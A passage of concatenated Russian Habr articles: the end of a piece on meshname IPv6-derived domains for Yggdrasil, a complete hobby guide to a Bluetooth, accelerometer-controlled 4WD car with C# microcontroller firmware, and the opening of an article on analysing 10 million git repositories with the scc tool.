криптоанархиста, который грезит о полной автономности и свободе от единой точки отказа, тем более коммерческой. Нужно признать, централизованная система доменных имен – решение отчасти вынужденное, которым по сей день пользуется большая часть аудитории Yggdrasil, так как для использования чего-либо стороннего необходимо убедить конечного пользователя использовать то же самое. Отдельного внимания заслуживает [ALFIS](https://github.com/Revertron/Alfis) – DNS на легковесном блокчейне, не требующий постоянного наличия майнеров в сети. Концепт DNS на блокчейне не нов, однако плюсы и минусы конкретно этой занятной реализации применительно к децентрализованным меш-сетям рассмотрим в отдельной статье. В русскоязычном сообществе энтузиастов отказоустойчивых и свободных сетей родилась простая идея для абсолютно независимых доменов: кодирование адреса IPv6 в текст c подстановкой выделенной доменной зоны. Подобный домен выглядит не совсем читабельно, напоминает адреса других сетей, где домен образован криптографическим путем, например, Tor. Однако, подобный подход к решению вопроса основательно освобождает от централизованных решений и всецело пригоден для работы как в изолированных сегментах сети, так и в глобальном: домен является непосредственно закодированным адресом целевого узла, а не зарегистрированным именем в SQL-таблице Большого брата. Реализация ---------- Эталонная реализация протокола meshname выполнена на Golang – [meshnamed](https://github.com/zhoreeq/meshname/). [Описание спецификации](https://github.com/zhoreeq/meshname/blob/master/protocol.md) прилагается. Принцип работы прост и надежен, как автомат Калашникова. Вся суть заключается в кодировании адреса в base32 (RFC 4648). Так как заранее известно количество байт, паддинги урезаются (заполнение в виде символов `=`). Обратите внимание, что кодируется не текстовая строка адреса, а его бинарное представление. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/26a/e3b/72e/26ae3b72e1bbef360acd7e874c6391f9.png)Получая домен на вход, резолвер извлекает из него адрес и отправляет стандартный DNS-запрос на 53 порт полученного адреса. Если целевой узел доступен и на нем запущен meshnamed, он отвечает на запрос. Конфигурационный файл meshnamed поддерживает синтаксис JSON и не имеет ограничений по типам записей (на иллюстрации ниже типы DNS-записей выделены красным цветом). ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/be7/972/c20/be7972c20e14715245d1d33413fb6aff.png)Каждый адрес, который фактически является одним из внешних адресов устройства (выделен голубым), должен иметь доступный 53 порт для внешних обращений. Если ответ от запрашиваемого адреса не поступил, доменное имя считается несуществующим. Для обращений на адрес, на котором не настроен meshnamed, предусмотрена упрощенная реализация протокола – meship. При получении адреса `*.meship`, резолвер раскодирует информацию и возвращает пользователю запись типа АААА без каких-либо предварительных попыток обратиться по полученному адресу. Очевидно, что использование доменов третьего уровня и дополнительных записей DNS при таком сценарии не представляется возможным. Классическим сценарием использования является связка с [dnsmasq](https://ru.wikipedia.org/wiki/Dnsmasq), который позволяет завести meshnamed на локальном порте высокого порядка без привилегий суперпользователя (например, `[::1]:35353`), передавая ему только две доменные зоны, за которые он отвечает. Содержимое `/etc/dnsmasq.conf`: ``` port=53 domain-needed bogus-priv server=/meshname/::1#35353 server=/meship/::1#35353 server=8.8.8.8 ``` Для быстрой конвертации адресов в имена и обратно, meshnamed поддерживает функции `-getname` и `-getip`, реализуемые через передаваемые параметры при запуске. Также обратите внимание на [Mario DNS tool](https://notabug.org/acetone/mario-dns), который позволяет осуществлять конвертацию адресов в имена через веб-браузер, либо через API, возвращая результат в JSON-формате. ![Веб-интерфейс Mario DNS tool](https://habrastorage.org/r/w1560/getpro/habr/upload_files/669/c77/031/669c7703169b00378b04ff92898d9ec3.png "Веб-интерфейс Mario DNS tool")Веб-интерфейс Mario DNS tool![API Mario DNS tool](https://habrastorage.org/r/w1560/getpro/habr/upload_files/33d/c85/5c2/33dc855c2c13150b301daf988ebd7724.png "API Mario DNS tool")API Mario DNS toolЗаключение ---------- Были проведены тесты, в рамках которых успешно работали все домено-зависимые сервисы, попавшиеся под руку. В мирное время, когда привычные DNS всегда доступны и крепнут день ото дня, практическая ниша meshname весьма скромная: вместо альтернативных костылей в виде [ipv6-literal.net](https://ipv6-literal.com/) или добавления адресов IPv6 в файл hosts для работы Windows Active Directory, а также любых других программ, не поддерживающих синтаксис IPv6 из-за двоеточий и квадратных скобок. К слову, упомянутый ресурс `ipv6-literal.net` надёжностью на практике не радует: полученные адреса могут просто не резолвиться. Селф-хостед проекты и открытые протоколы идут на помощь! Если появится необходимость в более читабельных meshname-доменах при использовании Yggdrasil, можете воспользоваться майнером адресов [syg-cpp](https://notabug.org/acetone/SimpleYggGen-CPP/). ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/381/0a3/c81/3810a3c81b8a746f47e231edab7359b3.png)
https://habr.com/ru/post/550688/
null
ru
null
# Машинка на контроллере с .NET Micro Framework, управляемая акселерометром Android-устройства ![image](https://habrastorage.org/r/w780q1/storage2/6bd/fef/c73/6bdfefc730597dcbe9626d2cf3bc1184.jpg) Простой проект с описанием изготовления 4WD машинки с управлением от Android-устройства через Bluetooth канал. Управление машинкой происходит при помощи акселерометра, путем наклона планшета/смартфона. Видео работы смотрите в конце статьи. Все исходные тексты прилагаются. Инструментарии разработки: Java/Eclipse для Android и .NET Micro Framework/Visual C# Express для микроконтроллера. #### Вступление Я не сторонник различных навороченных смартфонов, айпэдов и пр. крутых технологических гаджетов. С 2001 г. имею всего лишь второй телефон: Samsung B2700 (первый был Siemens C55, работающих до сих пор у бабушки). Но по роду деятельности понадобилось устройство для доступа по SSH к серверам, да и к Web-интерфейсу, когда я был в поездках. В связи с чем был куплен один из самых дешевых китайских Android планшетов: Ainol Aurora. Работал он вполне нормально, и web, и ssh, консоль, и даже ftp-клиент, в общем свои функции выполнял на все 100%. Но нужен он был мне только в поездках, остальное время он тупо валялся выключенным дома, т.к. играть я не играю, читать с экрана не могу, для веб-серфинга есть стационарные ПК. Ну и решил я копнуть глубже, приспособить его еще для чего-нибудь. Первая идея была сделать умный дом, но часть системы уже функционировала, а ремонт закончил недавно, новые девайсы, кабеля, подводку питания и прочее городить не хотелось. Поэтому идею отбросил, однако ради спортивного интереса купил платку Seeeduino ADK Main Board и немного поигрался с передачей информации по USB соединению (Open Accessory и MicroBridge). В процессе работы выяснил, что хоть на планшете и стоит Android 4.0.3, то это не означает, что он поддерживает Open Accessory. Поэтому игрался с режимом MicroBridge, обмен данными происходил успешно, однако все равно остались кое какие непонятные мне моменты… В итоге, я пришел к 2-ой идее: связать устройство по радиоканалу. Wi-Fi модули дороговаты, да и хотелось начать с чего-нибудь попроще, поэтому купил на ebay парочку Serial Bluetooth модулей по цене 6-7$ за штуку. В качестве реальной задачи решил сделать управляемую машинку с Android'а. На тот момент, в зарубежном интернете было уже немало подобных проектов, но в большей их части устройство управлялось с стандартной программы Bluetooth Terminal, путем ввода команд с клавиатуры. Это конечно все хорошо, но очень неудобно. Попадались проекты и с собственным Android-ПО, но как правило управление происходило при помощи экранных клавиш. Хотелось придумать что-то оригинальное, а т.к. почти все планшеты оснащены встроенным акселерометром, то решено было его и задействовать. Опыта кодинга для Android'а не было, также как и практически не имел дела с современными языками ООП. Но пришлось немного разобраться с Java и особенностями написания приложений по Android. И в данной статье я хочу описать изготовление простой РУ-bluetooth машинки, с управлением от Android-девайса. Для реализации задуманного понадобится: 1. Android устройство 2. Контроллер (ШИМ, UART) 3. Bluetooth модуль 4. Драйвер двигателей 5. Платформа для машинки Я думаю, что основная масса посетителей хабра — программисты и люди так или иначе связанные с ИТ. Поэтому им малоинтересны будут варианты, где в качестве контроллера будут использоваться PIC, STM32, Arduino и т.п. Именно поэтому я решил задействовать валявшийся без дела контроллер FEZ Panda II с .NET Micro Framework. Разработка ПО для данного контролера ведется в среде Visual C# Express, т.е. для большинства программистов это будет привычный инструментарий, хотя .NET там урезанный и многих функций нет. Но обо всем по порядку. Итак, как уже было сказано выше необходим Android планшет или смартфон, желательно с акселерометром (без него наверное сейчас их и не выпускают). Контроллер — любой под .NET Micro Framework. Т.е. подойдут Netduino, платы GHI Electronics и др. Я использовал FEZ Panda II: ![](https://habrastorage.org/r/w780q1/storage2/624/4f3/f2b/6244f3f2ba5a16397b450cf73fe04eb1.jpg) В качестве Bluetooth модуля использован китайский UART модуль HC-06. Подойдут любые Serial Bluetooth. Лучше брать с штыревыми выводами, чтобы не пришлось паять, т.к. расстояние между выводами очень маленькое. Стоимость такого модуля на AliExpress/eBay составляет в среднем 5-10$. ![](https://habrastorage.org/r/w780q1/storage2/e1f/3bb/55c/e1f3bb55c9ed6233ef4e7283dc124d37.jpg) В качестве драйвера я заюзал платку с микросхемой L298N, которая представляет собой сдвоенный мостовой драйвер двигателей и предназначена для управления DC и шаговыми двигателями. Цена вопроса 4-5$. ![](https://habrastorage.org/r/w780q1/storage2/bc4/1c0/828/bc41c082897767587d1997102c0ad74b.jpg) Для платформы машинки можно использовать все что угодно с 2 или 4 DC моторами. Я купил на eBay готовое 4WD шасси для DIY-проектов с 4-мя DC-моторчиками. ![](https://habrastorage.org/r/w780q1/storage2/9eb/064/a08/9eb064a0836d793be58bc4e66b428436.jpg) Ну и дополнительно понадобились аккумуляторы, темроусадка, хомуты, соединительные провода и пр. #### Сборка шасси 4WD платформа от DFRobot поставляется в разобранном виде: ![](https://habrastorage.org/r/w780q1/storage2/b0f/9c0/c1c/b0f9c0c1c0628a7669d579deb5f53f0c.jpg) Сборка не сложная, единственное, что колеса очень туго надеваются на оси. Немного поработал катэром и встали как родные. В отсек с моторчиками я поместил плату L298N, подключил их к ней, и вывел наружу 6 проводов: 4 для управления, GND и питание. ![](https://habrastorage.org/r/w780q1/storage2/c31/218/19d/c3121819dd0bad9137e1d89cdfebc46a.jpg) Подробную сборку 4WD платформы я описывать не буду, все равно у каждого она будет своя и даже если и будет шасси 4WD от DFRobot, то полюбому будут какие-то свои коррективы в зависимости от находящегося дома оборудования и материалов. Bluetooth модуль я использовал китайский HC-06. Рекомендую брать сразу с штыревыми выводами, чтобы не замарачиваться с пайкой. Необходимые пины модуля HC-06: UART\_TX (pin 1), UART\_RX (pin 2) 3,3V (pin 12) — питание 3.3В. GND (pin 13) — общий. PIO1 (pin 24) — индикатор рабочего режима. Если соединение не установлено — то светодиод мигает, если установлено, то постоянно горит. На плату L298N необходимо от контроллера привести 5 проводов: GND (Общий), IN1, IN2, IN3, IN4 — входы управления двигателями (ШИМ и направление вращения для левого двигателя и тоже самое для правого). Питание DC двигателей осуществляется от Li-Po аккумуляторов 3.7В 1100 мА. Контроллер питается от отдельного аккумулятора 3.7В (хотя требуется 5В, но прекрасно работает и от 3.7В). Питание Bluetooth модуля берется с платы FEZ. ![](https://habrastorage.org/r/w780q1/storage2/19c/a21/f6b/19ca21f6b2f19e3b9f00608ebf4275c5.jpg) В проводах наблюдается большой беспорядок из-за того, что до этого проект собирался на STM32 и был разобран специально для реализации с контроллером FEZ Panda II. В дальнейшем, машинка будет опять на STM32 и Arduino с кое-какими усовершенствованиями. Но это тема другой статьи, возможно… Схема подключения выглядит следующим образом: ![](https://habrastorage.org/r/w1560/storage2/b78/b85/154/b78b851542f9d6a263c2205a7b7b7a17.png) Плату FEZ к платформе прикрепил при помощи 2-х стороннего скотча: ![](https://habrastorage.org/r/w780q1/storage2/e1e/f6c/295/e1ef6c295818f93cbda6e41ce39602ac.jpg) Далее, все было собрано и подключено. Получилось так: ![](https://habrastorage.org/r/w780q1/storage2/852/836/430/852836430ec546c94625408ebfbba46c.jpg) #### Программное обеспечение Итак, в приложении для Android я реализовал 3 способа управления: 1. Акселерометром — путем наклона устройства 2. Кнопками — на экране смартфона прорисовывается 4 кнопки: вперед, назад, поворот влево, поворот вправо. 3. Touch-управление. Данный способ я подсмотрел в игре Death Rally, захотелось попробовать реализовать. Честно сказать не очень удобно получилось, но оставил как есть. 4. 15.02.2013 в ПО добавил новый вид управления «виртуальный руль» Все вычисления происходят в Android-приложении. На контроллер поступают готовые данные для ШИМ, направления вращения и команды для работы с Flash-памятью. Т.о. получилось универсальное приложение с гибкими настройками, которое может подойти под разные типы контроллеров, в разными значениями ШИМ и т.п. Собственно, что уже частично и сделано: данный проект уже реализован на STM32, Arduino и FEZ Panda II. В ближайшее время есть в планах реализовать под другие платформы: MSP430, PIC и др. Пример команды, передаваемой через Bluetooth: **L-60\rR-100\r** Символ L означает команды для левого двигателя, знак минус — вращение назад, 60 — значение ШИМ. R — для правого двигателя, 100 — значение ШИМ (максимальное значение для FEZ Panda II). Для Arduino к примеру, максимальное значение ШИМ равно 255, его можно задавать в настройках Android приложения. По данной команде машинка будет двигаться назад, т.к. левые колеса буду вращаться немного медленнее правых, но ее будет слегка поворачивать влево. Как видим, такой способ управления больше подходит для гусеничной платформы. **Fw1035\t** — команда записи в Flash-память микроконтроллера значения таймаута (через какое время машинка остановиться при потери связи или неполучении команды). Первая цифра 1 означает включение таймаута (соответственно 0 — выключен). Для получения значения в секундах необходимо 035 разделить на 10, т.е. в данном случае таймаут составит 3.5 секунды. Соответственно диапазон значений от 0.1 до 99.9 секунд. К машинке можно подцепить множетсво дополнительных каналов: фары, сигнал, пиропатрон и многое другое. Команда для доп. канала: **H1\r** — где 1-включить. Соответственно если подать 0, то выключить. В представленном ПО реализован только 1 дополнительный канал, однако по аналогии с ним можно сделать сколько их угодно. Кстати, символы команд можно также задавать в настройках Android приложения. Сами настройки задаются с главного активити, вот их скриншот: ![](https://habrastorage.org/r/w1560/storage2/278/7c8/979/2787c89797cafd1609d589c48dc78890.png) Обратите внимание, что MAC-адрес Bluetooth модуля задается в настройках приложения. Узнать его можно при помощи какой-нибудь программы для работы с Bluetooth, к примеру при помощи [Bluetooth Terminal](https://play.google.com/store/apps/details?id=Qwerty.BluetoothTerminal) или Bluetooth Chat. Конечно удобнее было бы сделать поиск устройств и сопряжение в самом ПО, но честно признаюсь у меня не хватило ума и опыта, провозился с этим вопросом дня 2, читал форумы и Stack Exchange, но так и не получилось. Может быть в дальнейшем вернусь к этому вопросу. Исходный код приложения для Android я приводить не буду, т.к. он достаточно обьемен. Кому интересно, внизу статьи полный проект для Eclipse. Отмечу лишь, что в приложении используется главное activity с кнопками меню и настройками, а также 4 дополнительных activity — 3 для управления и один для работы с памятью микроконтроллера. ![](https://habrastorage.org/r/w1560/storage2/1e8/c5d/5b6/1e8c5d5b6aaa4d881fc5d3284f283a2f.png) Работу с Bluetooth я вынес в отдельный класс cBluetooth. Для приема данных от BT создается отдельный поток thread, который в случае приема данных помещает их в очередь сообщений Handler. Далее, в основном потоке происходит обработка этих сообщений и в активити выводятся надписи и реализуются другие действия. Исходник для .NET Micro Framework: ``` using System; using System.IO.Ports; using System.Threading; using System.Text; using Microsoft.SPOT; using Microsoft.SPOT.Hardware; using GHIElectronics.NETMF.Hardware; using GHIElectronics.NETMF.FEZ; namespace CxemCAR { public class Program { public const char cmdL = 'L'; // команда UART для левого двигателя public const char cmdR = 'R'; // команда UART для правого двигателя public const char cmdH = 'H'; // команда UART для доп. канала 1 (к примеру сигнал Horn) public const char cmdF = 'F'; // команда UART для работы с EEPROM памятью МК для хранения настроек public const char cmdr = 'r'; // команда UART для работы с EEPROM памятью МК для хранения настроек (чтение) public const char cmdw = 'w'; // команда UART для работы с EEPROM памятью МК для хранения настроек (запись) //public const int t_TOut = 2500; // кол-во миллисекунд, через которое машинка останавливается при потери связи static int sw_autoOFF; static int autoOFF = 2500; static byte[] storage = new byte[InternalFlashStorage.Size]; // переменная для хранения значений FLASH памяти МК static OutputPort MotorL_d = new OutputPort((Cpu.Pin)FEZ_Pin.Digital.Di4, false); // направление вращения двигателя 1 static OutputPort MotorR_d = new OutputPort((Cpu.Pin)FEZ_Pin.Digital.Di7, false); // направление вращения двигателя 2 static OutputPort Channel1 = new OutputPort((Cpu.Pin)FEZ_Pin.Digital.Di8, false); // доп. канал 1 static PWM MotorL = new PWM((PWM.Pin)FEZ_Pin.PWM.Di5); // ШИМ вывод для управления двигателем 1 (левый) static PWM MotorR = new PWM((PWM.Pin)FEZ_Pin.PWM.Di6); // ШИМ вывод для управления двигателем 2 (правый) static SerialPort UART1 = new SerialPort("COM1", 9600); // новый объект UART1 (порт COM1) static Timer timerTO; // таймер public static void Main() { byte[] L_Data = new byte[4]; // строковый массив для данных мотора L byte L_index = 0; // индекс массива byte[] R_Data = new byte[4]; // строковый массив для данных мотора R byte R_index = 0; // индекс массива byte[] H_Data = new byte[1]; // строковый массив для доп. канала byte H_index = 0; // индекс массива byte[] F_Data = new byte[8]; // строковый массив данных для работы с EEPROM byte F_index = 0; char command = ' '; // команда: передача координат R, L, H, F или конец строки int i_tmp_L = 0; int i_tmp_R = 0; int i_tmp_H = 0; byte[] incomingByte = new byte[1]; // байт с UART UART1.Open(); UART1.Flush(); timerTO = new Timer(new TimerCallback(TimeOut), null, autoOFF, autoOFF); // инициализация таймера потери связи timer_init(); // инициализируем программный таймер while (true) { int read_count = UART1.Read(incomingByte, 0, 1); // считываем данные if (read_count > 0) // пришли данные? { if (incomingByte[0] == cmdL) // если пришли данные для мотора L { command = cmdL; // текущая команда Array.Clear(L_Data, 0, L_Data.Length); // очистка массива L_index = 0; // сброс индекса массива } else if (incomingByte[0] == cmdR) // если пришли данные для мотора R { command = cmdR; // текущая команда Array.Clear(R_Data, 0, R_Data.Length); // очистка массива R_index = 0; // сброс индекса массива } else if (incomingByte[0] == cmdH) // если пришли данные для доп. канала 1 { command = cmdH; // текущая команда Array.Clear(H_Data, 0, H_Data.Length); // очистка массива H_index = 0; // сброс индекса массива } else if (incomingByte[0] == cmdF) // если пришли данные для доп. канала 1 { command = cmdF; // текущая команда Array.Clear(F_Data, 0, F_Data.Length); // очистка массива F_index = 0; // сброс индекса массива } else if (incomingByte[0] == '\r') command = 'e'; // конец строки else if (incomingByte[0] == '\t') command = 't'; // конец строки для команд работы с памятью if (command == cmdL && incomingByte[0] != cmdL) { if (ValidData(incomingByte[0])) { L_Data[L_index] = incomingByte[0]; // сохраняем каждый принятый байт в массив if (L_index < (L_Data.Length - 1)) L_index++; // увеличиваем текущий индекс массива } } else if (command == cmdR && incomingByte[0] != cmdR) { if (ValidData(incomingByte[0])) { R_Data[R_index] = incomingByte[0]; if (R_index < (R_Data.Length - 1)) R_index++; } } else if (command == cmdH && incomingByte[0] != cmdH) { if (ValidData(incomingByte[0])) { H_Data[H_index] = incomingByte[0]; if (H_index < (H_Data.Length - 1)) H_index++; } } else if (command == cmdF && incomingByte[0] != cmdF) { F_Data[F_index] = incomingByte[0]; if (F_index < (F_Data.Length - 1)) F_index++; } else if (command == 'e') // если приняли конец строки { timerTO.Dispose(); // останавливаем таймер потери связи string tmp_L = new string(System.Text.UTF8Encoding.UTF8.GetChars(L_Data)); // формируем строку из массива string tmp_R = new string(System.Text.UTF8Encoding.UTF8.GetChars(R_Data)); string tmp_H = new string(System.Text.UTF8Encoding.UTF8.GetChars(H_Data)); try { if (tmp_L != null) i_tmp_L = int.Parse(tmp_L); // и пытаемся преобразовать в int if (tmp_R != null) i_tmp_R = int.Parse(tmp_R); if (tmp_H != null) i_tmp_H = int.Parse(tmp_H); } catch { Debug.Print("Error: convert String to Integer"); } if (i_tmp_L > 100) i_tmp_L = 100; else if (i_tmp_L < -100) i_tmp_L = -100; if (i_tmp_R > 100) i_tmp_R = 100; else if (i_tmp_R < -100) i_tmp_R = -100; Control4WD(i_tmp_L, i_tmp_R, i_tmp_H); timerTO.Change(autoOFF, autoOFF); // таймер считает сначала } else if (command == 't') // если приняли конец строки для работы с памятью { Flash_Op(F_Data[0], F_Data[1], F_Data[2], F_Data[3], F_Data[4]); } } } } static void Flash_Op(byte FCMD, byte z1, byte z2, byte z3, byte z4) { if (FCMD == cmdr && sw_autoOFF != 255) // если команда чтения EEPROM данных { byte[] buffer = Encoding.UTF8.GetBytes("FData:"); // подготавливаем байтовый массив для вывода в UART UART1.Write(buffer, 0, buffer.Length); // запись данных в UART byte[] buffer2 = new byte[4] { storage[0], storage[1], storage[2], storage[3] }; UART1.Write(buffer2, 0, buffer2.Length); byte[] buffer3 = Encoding.UTF8.GetBytes("\r\n"); UART1.Write(buffer3, 0, buffer3.Length); } else if (FCMD == cmdw) // если команда записи EEPROM данных { byte[] varToSave = new byte[InternalFlashStorage.Size]; varToSave[0] = z1; varToSave[1] = z2; varToSave[2] = z3; varToSave[3] = z4; InternalFlashStorage.Write(varToSave); // запись данных в FLASH память МК timer_init(); // переинициализируем таймер byte[] buffer2 = Encoding.UTF8.GetBytes("FWOK\r\n"); // подготавливаем байтовый массив для вывода в UART UART1.Write(buffer2, 0, buffer2.Length); // посылаем сообщение, что данные успешно записаны } } static void timer_init() { InternalFlashStorage.Read(storage); // чтение данных с FLASH памяти sw_autoOFF = storage[0]; if(sw_autoOFF == '1'){ // если таймер останова включен byte[] var_Data= new byte[3]; var_Data[0] = storage[1]; var_Data[1] = storage[2]; var_Data[2] = storage[3]; string tmp_autoOFF = new string(System.Text.UTF8Encoding.UTF8.GetChars(var_Data)); autoOFF = int.Parse(tmp_autoOFF)*100; timerTO.Change(autoOFF, autoOFF); // изменяем параметры таймера } else if(sw_autoOFF == '0'){ timerTO.Dispose(); // выключаем таймер } Debug.Print("Timer Init" + autoOFF.ToString()); } static void TimeOut(object o) { //Debug.Print(DateTime.Now.ToString()); Control4WD(0, 0, 0); // при таймауте останавливаем машинку } public static void Control4WD(int mLeft, int mRight, int Horn) { bool directionL, directionR; // направление вращение для L298N int valueL, valueR; // значение ШИМ M1, M2 (0-100) if (mLeft > 0) { valueL = mLeft; directionL = false; } else if (mLeft < 0) { valueL = 100 - System.Math.Abs(mLeft); directionL = true; } else { directionL = false; valueL = 0; } if (mRight > 0) { valueR = mRight; directionR = false; } else if (mRight < 0) { valueR = 100 - System.Math.Abs(mRight); directionR = true; } else { directionR = false; valueR = 0; } if (Horn == 1) { Channel1.Write(true); } else Channel1.Write(false); //Debug.Print("L:" + valueL.ToString() + ", R:" + valueR.ToString()); MotorL.Set(30000, (byte)(valueL)); MotorR.Set(30000, (byte)(valueR)); MotorL_d.Write(directionL); MotorR_d.Write(directionR); } public static bool ValidData(byte chIncom) // проверка поступившего символа на принадлежность к "0..9" или "-" { if ((chIncom >= 0x30 && chIncom <= 0x39) || chIncom == 0x2D) return true; else return false; } } } ``` Сама программа под FEZ не очень сложная — в цикле считываем данные с UART и формируем соответствующие массивы. Как только пришел символ окончания передачи (\r или \t), то данные преобразовываются и передаются в соответствующие функции Control4WD() или Flash\_Op(). В функции Control4WD() происходит вычисление направления, а также небольшие расчеты и затем данные выводятся на соответствующие пины контроллера. Текущая версия ПО: 1.2 от 15.02.2013. **Видео работы:** **Видео работы режима «виртуальный руль» (добавил 15.02.2013):** [Скачать APK файл для установки на Android устройство](https://mega.co.nz/#!bU0FEQCT!ZVQGBiSBob34761g45AG5GkcOSlHuW4cgw-mcYboDOg) [Скачать проект для Eclipse](https://mega.co.nz/#!bFsiBbTa!WAoVoUxPAqxXxwC-HPfd7xVbRT1ekUlfe8ND92hsjY0) [Скачать проект для Visual C# 2010 Express](https://mega.co.nz/#!nJNxUDCL!flL_blzUK4um5rutZp-RJHDhr2d6-0GkvKx3lwkmlEw) **Полезные материалы и источники:** * [Начинаем работать с .NET Micro Framework](http://electronics-lab.ru/blog/mcu/76.html) * [Подключение FEZ Panda II](http://electronics-lab.ru/blog/mcu/78.html) * [Проект на Arduino](http://cxem.net/uprav/uprav46.php) * [Проект на STM32](http://cxem.net/uprav/uprav44.php)
https://habr.com/ru/post/168723/
null
ru
null
# Обработка 40 ТБ кода из 10 млн проектов на выделенном сервере с Go за $100 Написанной мной инструмент командной строки [Sloc Cloc and Code (scc)](https://github.com/boyter/scc/), который теперь доработан и поддерживается многими отличными людьми, подсчитывает строки кода, комментарии и оценивает сложность файлов внутри каталога. Здесь нужна хорошая выборка. Инструмент подсчитывает в коде операторы ветвления. Но что такое сложность? Например, заявление «У этого файла сложность 10» не очень полезно без контекста. Чтобы решить эту проблему, я запустил `scc` на всех исходниках в интернете. Это также позволит найти какие-то крайние случаи, которые я не рассматривал в самом инструменте. Мощное испытание методом грубой силы. Но если я собираюсь запустить тест на всех исходниках в мире, это потребует много вычислительных ресурсов, что тоже интересный опыт. Поэтому я решил всё записать — так и появилась эта статья. Короче говоря, я загрузил и обработал много исходников. Голые цифры: * **9 985 051** репозиториев всего * **9 100 083** репозитория хотя бы с одним файлом * **884 968** пустых репозиториев (без файлов) * **3 500 000 000** файлов во всех репозиториях * Обработано **40 736 530 379 778** байт (40 ТБ) * Идентифицировано **1 086 723 618 560** строк * Распознано **816 822 273 469** строк с кодом * **124 382 152 510** пустых строк * **145 519 192 581** строк комментариев * Общая сложность по правилам scc: **71 884 867 919** * **2** новые ошибки, найденные в scc Давайте сразу отметим одну деталь. Здесь не 10 миллионов проектов, как указано в громком заголовке. Мне не хватило 15 000, так что я округлил. Прошу прощения за это. Потребовалось около пяти недель, чтобы всё скачать, пройтись scc и сохранить все данные. Потом ещё чуть более 49 часов, чтобы обработать 1 ТБ JSON и получить результаты ниже. Также обратите внимание, что я мог ошибиться в некоторых расчётах. Я оперативно сообщу, если обнаружится какая-то ошибка, и предоставлю датасет. Оглавление ========== * [Методология](#1) * [Представление и вычисление результатов](#2) * [Стоимость](#3) * [Источники данных](#4) * [Сколько файлов в репозитории?](#5) * [Какова разбивка по языкам?](#6) * [Сколько файлов в репозитории по языкам?](#7) * [Сколько строк кода в типичном файле по языкам?](#8) * [Средняя сложность файла на каждом языке?](#9) * [Среднее количество комментариев для файлов на каждом языке?](#10) * [Каковы наиболее распространённые имена файлов?](#11) * [В скольких репозиториях отсутствует лицензия?](#12) * [На каких языках больше всего комментариев?](#13) * [Сколько проектов используют несколько файлов .gitignore?](#14) * [На каком языке больше обсценной лексики?](#15) * [Самые большие файлы по количеству строк на каждом языке](#16) * [Какой самый сложный файл на каждом языке?](#17) * [Самый сложный файл относительно количества строк?](#18) * [Какой самый комментируемый файл на каждом языке?](#19) * [Сколько «чистых» проектов](#20) * [Проекты с TypeScript, но не JavaScript](#21) * [Кто-нибудь использует CoffeeScript и TypeScript?](#22) * [Какова типичная длина пути в каждом языке](#23) * [YAML или YML?](#24) * [Верхний, нижний или смешанный регистр?](#25) * [Фабрики в Java](#26) * [Файлы .ignore](#27) * [Идеи на будущее](#28) * [Зачем это всё?](#29) * [Необработанные/обработанные файлы](#30) Методология =========== С момента запуска [searchcode.com](https://searchcode.com/) я уже накопил коллекцию из более 7 000 000 проектов на git, mercurial, subversion и так далее. Так почему бы не обработать их? Работа с git обычно является самым простым решением, поэтому на этот раз я проигнорировал mercurial и subversion и экспортировал полный список проектов git. Оказывается, у меня в реальности отслеживалось 12 миллионов репозиториев git, и наверное, нужно обновить главную страницу, чтобы отразить это. Итак, теперь у меня 12 миллионов репозиториев git, которые нужно загрузить и обработать. При запуске scc вы можете выбрать выдачу в JSON с сохранением файла на диск: `scc --format json --output myfile.json main.go`. Результаты выглядят следующим образом (для одного файла): ``` [ { "Blank": 115, "Bytes": 0, "Code": 423, "Comment": 30, "Complexity": 40, "Count": 1, "Files": [ { "Binary": false, "Blank": 115, "Bytes": 20396, "Callback": null, "Code": 423, "Comment": 30, "Complexity": 40, "Content": null, "Extension": "go", "Filename": "main.go", "Hash": null, "Language": "Go", "Lines": 568, "Location": "main.go", "PossibleLanguages": [ "Go" ], "WeightedComplexity": 0 } ], "Lines": 568, "Name": "Go", "WeightedComplexity": 0 } ] ``` В качестве более крупного примера см. результаты для проекта redis: [redis.json](https://boyter.org/static/an-informal-survey/redis.json). Все приведённые ниже результаты получены из такой выдачи без каких-либо дополнительных данных. Следует иметь в виду, что scc обычно классифицирует языки на основе расширения (за исключением тех случаев, когда расширение является общим, например, Verilog и Coq). Таким образом, если сохранить HTML-файл с расширением java, он будет считаться файлом java. Обычно это не проблема, потому что зачем такое делать? Но, конечно, в большом масштабе проблема становится заметной. Это я обнаружил позже, когда некоторые файлы маскировались под другое расширение. Какое-то время назад я написал [код для генерации меток github на основе scc](https://boyter.org/posts/sloc-cloc-code-badges/). Поскольку в процессе нужно было кэшировать результаты, я немного изменил его, чтобы кэшировать их в формате JSON на AWS S3. С кодом для меток в AWS на lambda, я взял экспортированный список проектов, написал около 15 строк python, чтобы очистить формат для соответствия моей lambda, и сделал запрос к нему. С помощью мультипроцессинга python я распараллелил запросы на 32 процесса, чтобы конечная точка отзывалась достаточно быстро. Всё сработало блестяще. Однако проблема заключалась, во-первых, в стоимости, а во-вторых, у lambda за API-Gateway/ALB есть 30-секундный таймаут, поэтому она не может достаточно быстро обрабатывать большие репозитории. Я знал, что это не самое экономичное решение, но думал, что цена составит около $100, с чем я бы смирился. После обработки миллиона репозиториев я проверил — и стоимость оказалась около $60. Поскольку меня не радовала перспектива итогового счёта AWS на $700, я решил пересмотреть своё решение. Имейте в виду, что это было в основном хранилище и CPU, которые использовались для сбора всей этой информации. Любая обработка и экспорт данных значительно увеличивала цену. Поскольку я уже был на AWS, быстрым решением было бы сбросить URL-адреса как сообщения в SQS и вытащить оттуда, используя инстансы EC2 или Fargate для обработки. Затем масштабировать как сумасшедший. Но несмотря на повседневный опыт работы с AWS, я всегда верил в [принципы программирования Taco Bell](http://widgetsandshit.com/teddziuba/2010/10/taco-bell-programming.html). Кроме того, там было всего 12 миллионов репозиториев, поэтому я решил реализовать более простое (дешёвое) решение. Запуск вычисления локально был невозможен из-за ужасного интернета в Австралии. Однако мой searchcode.com работает, достаточно бережливо используя выделенные серверы от Hetzner. Это довольно мощные машины i7 Quad Core 32 GB RAM, часто с 2 ТБ дискового пространства (обычно не используется). У них обычно есть хороший запас вычислительной мощности. Например, фронтенд-сервер большую часть времени вычисляет квадратный корень из нуля. Так почему бы не запустить обработку там? Это не совсем программирование Taco Bell, поскольку я применил инструменты bash и gnu. Я написал [простую программу на Go](https://github.com/boyter/scc-data/blob/master/process/main.go), чтобы запустить 32 go-рутины, которые считывают данные с канала, порождают подпроцессы git и scc перед записью выдачи на JSON в S3. Я на самом деле сначала написал решение на Python, но необходимость 